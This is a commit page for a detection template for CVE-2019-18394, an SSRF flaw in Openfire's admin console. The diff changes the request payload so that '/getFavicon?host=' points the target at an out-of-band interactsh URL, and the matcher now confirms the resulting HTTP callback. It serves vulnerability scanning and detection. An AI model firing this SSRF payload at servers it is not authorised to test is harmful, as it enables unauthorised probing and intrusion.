Merge pull request #2091 from projectdiscovery/CVE-2019-18394-update

Updated payload + matcher
patch-1
Sandeep Singh 2021-07-19 18:14:39 +05:30 committed by GitHub
commit 8f2edecdd4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 3 deletions

View File

@ -8,13 +8,15 @@ info:
refrense: |
- https://swarm.ptsecurity.com/openfire-admin-console/
- https://github.com/igniterealtime/Openfire/pull/1497
tags: cve,cve2019,ssrf
tags: cve,cve2019,ssrf,openfire,oob
requests:
- method: GET
path:
- "{{BaseURL}}/getFavicon?host=burpcollaborator.net"
- "{{BaseURL}}/getFavicon?host=http://{{interactsh-url}}"
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- <h1>Burp Collaborator Server</h1>
- "http"